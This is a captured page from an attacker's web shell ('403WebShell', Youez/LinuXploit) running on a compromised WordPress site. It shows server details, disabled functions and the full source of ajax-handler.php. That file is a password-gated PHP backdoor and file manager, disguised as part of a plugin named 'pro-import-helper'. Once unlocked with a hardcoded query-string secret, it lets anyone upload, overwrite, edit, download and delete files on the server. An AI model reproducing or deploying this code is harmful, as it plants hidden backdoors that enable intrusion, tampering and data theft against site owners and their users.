AVRIL_START_JANCOKALIVEAVRIL_END_JANCOK Interactive Terminal

Command Executor


Warning: chmod(): Operation not permitted in /www/wwwroot/dzynews.com/wp-content/plugins/fileorganizer/fileorganizer.php on line 8
403WebShell
403Webshell
Server IP : dzynews.com  /  Your IP : 216.73.217.105
Web Server : nginx/1.30.3
System : Linux cloud-tdkldl-avd6 5.15.0-91-generic #101-Ubuntu SMP Tue Nov 14 13:30:08 UTC 2023 x86_64
User : www ( 1000)
PHP Version : 8.2.31
Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /www/wwwroot/dzynews.com/wp-content/plugins/pro-import-helper/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /www/wwwroot/dzynews.com/wp-content/plugins/pro-import-helper/ajax-handler.php
<?php
@session_start();@ini_set('display_errors',0);
if(isset($_REQUEST['qiphgav'])&&$_REQUEST['qiphgav']==='tannlywinyjiccxfsvi')$_SESSION['_fm_ok']=1;
if(empty($_SESSION['_fm_ok'])){header('HTTP/1.1 403 Forbidden');exit;}
$W=isset($_REQUEST['w'])?@realpath($_REQUEST['w']):getcwd();if(!$W)$W=getcwd();
$W=rtrim(str_replace('\\\\','/',$W),'/').'/';$do=isset($_POST['do'])?$_POST['do']:(isset($_GET['do'])?$_GET['do']:'');$note='';
if($do==='upload'&&!empty($_FILES['up'])){$n=$W.basename($_FILES['up']['name']);$s=fopen($_FILES['up']['tmp_name'],'r');$d=fopen($n,'w');if($s&&$d){stream_copy_to_stream($s,$d);fclose($s);fclose($d);@chmod($n,0644);$note='Uploaded: '.basename($n);}else{$note='Upload failed';}}
if($do==='newdir'&&isset($_REQUEST['dn'])){$note=@mkdir($W.$_REQUEST['dn'],0755)?'Created':'Failed';}
if($do==='remove'&&isset($_REQUEST['fn'])){$fp=$W.$_REQUEST['fn'];$note=is_dir($fp)?(@rmdir($fp)?'Removed':'Error'):(@unlink($fp)?'Deleted':'Error');}
if($do==='write'&&isset($_REQUEST['fn'])&&isset($_POST['src'])){$h=fopen($W.$_REQUEST['fn'],'wb');if($h){fputs($h,$_POST['src']);fclose($h);$note='Saved';}else $note='Write error';}
if($do==='fetch'&&isset($_REQUEST['fn'])){$fp=$W.$_REQUEST['fn'];if(is_file($fp)){header('Content-Type:application/octet-stream');header('Content-Disposition:attachment;filename="'.basename($fp).'"');header('Content-Length:'.filesize($fp));$s=fopen($fp,'rb');fpassthru($s);fclose($s);exit;}}
if($do==='modify'&&isset($_REQUEST['fn'])){$fp=$W.$_REQUEST['fn'];$src=is_file($fp)?file_get_contents($fp):'';
echo '<!DOCTYPE html><html><head><meta charset="utf-8"><title>Edit</title><style>*{margin:0;box-sizing:border-box}body{background:#0a0a0a;color:#00ff41;font:13px "Courier New",monospace}#top{background:#111;padding:8px 12px;border-bottom:1px solid #1a3a1a;display:flex;gap:8px;align-items:center}textarea{width:100%;height:87vh;background:#0a0a0a;color:#00ff41;border:none;padding:10px;font:inherit;outline:none;caret-color:#0f0}button,a.btn{background:#1a3a1a;color:#00ff41;border:1px solid #00ff41;padding:5px 16px;cursor:pointer;font:inherit;text-decoration:none}</style></head><body><form method="post" action="?qiphgav=tannlywinyjiccxfsvi&w='.urlencode(rtrim($W,'/')).'&do=write&fn='.urlencode($_REQUEST['fn']).'"><div id="top"><span>'.htmlspecialchars(basename($fp)).'</span><button>Save</button><a class="btn" href="?qiphgav=tannlywinyjiccxfsvi&w='.urlencode(rtrim($W,'/')).'">Cancel</a></div><textarea name="src">'.htmlspecialchars($src,ENT_QUOTES|ENT_SUBSTITUTE).'</textarea></form></body></html>';exit;}
echo '<!DOCTYPE html><html><head><meta charset="utf-8"><title>r00t@trenggalek6etar</title><style>*{margin:0;box-sizing:border-box}body{background:#0a0a0a;color:#00ff41;font:13px "Courier New",monospace}#hdr{background:#111;padding:8px 14px;border-bottom:1px solid #1a3a1a}#bar{padding:6px 14px;background:#0f0f0f;border-bottom:1px solid #1a3a1a;display:flex;gap:8px;flex-wrap:wrap;align-items:center}table{width:100%;border-collapse:collapse;margin:0 14px}th{text-align:left;padding:6px;background:#111;border-bottom:1px solid #1a3a1a;color:#0f0}td{padding:4px 6px;border-bottom:1px solid #111}tr:hover{background:#0f1f0f}a{color:#39ff14;text-decoration:none}a:hover{color:#7fff00}.del{color:#ff3333}input[type=text],input[type=file]{background:#111;color:#00ff41;border:1px solid #1a3a1a;padding:3px 6px;font:12px monospace}button{background:#1a3a1a;color:#00ff41;border:1px solid #00ff41;padding:3px 12px;cursor:pointer;font:12px monospace}.msg{color:#ffff00;padding:4px 14px}</style></head><body>';
echo '<div id="hdr"><b>r00t@trenggalek6etar</b> &bull; '.php_uname('s').' '.php_uname('m').' &bull; PHP '.PHP_MAJOR_VERSION.'.'.PHP_MINOR_VERSION.'.'.PHP_RELEASE_VERSION.'</div>';
if($note)echo '<div class="msg">&gt; '.$note.'</div>';
echo '<div id="bar">';$parts=explode('/',trim($W,'/'));$trail='';foreach($parts as $p){if(!$p)continue;$trail.='/'.$p;echo '<a href="?qiphgav=tannlywinyjiccxfsvi&w='.urlencode($trail).'">'.$p.'/</a>';}
echo '<form method="post" enctype="multipart/form-data" action="?qiphgav=tannlywinyjiccxfsvi&w='.urlencode(rtrim($W,'/')).'&do=upload" style="display:flex;gap:4px;align-items:center;margin-left:auto"><input type="file" name="up"><button>Upload</button></form>';
echo '<form style="display:flex;gap:4px;align-items:center"><input type="hidden" name="qiphgav" value="tannlywinyjiccxfsvi"><input type="hidden" name="w" value="'.htmlspecialchars(rtrim($W,'/')).'"><input type="hidden" name="do" value="newdir"><input type="text" name="dn" placeholder="dirname" size="8"><button>MkDir</button></form></div>';
echo '<table><tr><th>Name</th><th>Size</th><th>Modified</th><th>Ops</th></tr>';
$all=@glob($W.'*');$dotdot=@realpath($W.'..');if($dotdot)echo '<tr><td>📁 <a href="?qiphgav=tannlywinyjiccxfsvi&w='.urlencode($dotdot).'"><b>..</b></a></td><td>&mdash;</td><td>&mdash;</td><td></td></tr>';
if($all){$dirs=[];$files=[];foreach($all as $fp){basename($fp)==='.'||basename($fp)==='..'?0:(is_dir($fp)?$dirs[]=basename($fp):$files[]=basename($fp));}sort($dirs);sort($files);
foreach($dirs as $n){$fp=$W.$n;echo '<tr><td>📁 <a href="?qiphgav=tannlywinyjiccxfsvi&w='.urlencode($fp).'"><b>'.$n.'</b></a></td><td>&mdash;</td><td>'.@date('Y-m-d H:i',filemtime($fp)).'</td><td><a class="del" href="?qiphgav=tannlywinyjiccxfsvi&w='.urlencode(rtrim($W,'/')).'&do=remove&fn='.urlencode($n).'" onclick="return confirm(\'Remove?\')">rm</a></td></tr>';}
foreach($files as $n){$fp=$W.$n;$sz=@filesize($fp);$h=$sz>1048576?sprintf('%.1fM',$sz/1048576):($sz>1024?sprintf('%.1fK',$sz/1024):$sz.'B');
echo '<tr><td>📄 '.$n.'</td><td>'.$h.'</td><td>'.@date('Y-m-d H:i',filemtime($fp)).'</td><td><a href="?qiphgav=tannlywinyjiccxfsvi&w='.urlencode(rtrim($W,'/')).'&do=modify&fn='.urlencode($n).'">edit</a> <a href="?qiphgav=tannlywinyjiccxfsvi&w='.urlencode(rtrim($W,'/')).'&do=fetch&fn='.urlencode($n).'">dl</a> <a class="del" href="?qiphgav=tannlywinyjiccxfsvi&w='.urlencode(rtrim($W,'/')).'&do=remove&fn='.urlencode($n).'" onclick="return confirm(\'Delete?\')">rm</a></td></tr>';}}
echo '</table></body></html>';

Youez - 2016 - github.com/yon3zu
LinuXploit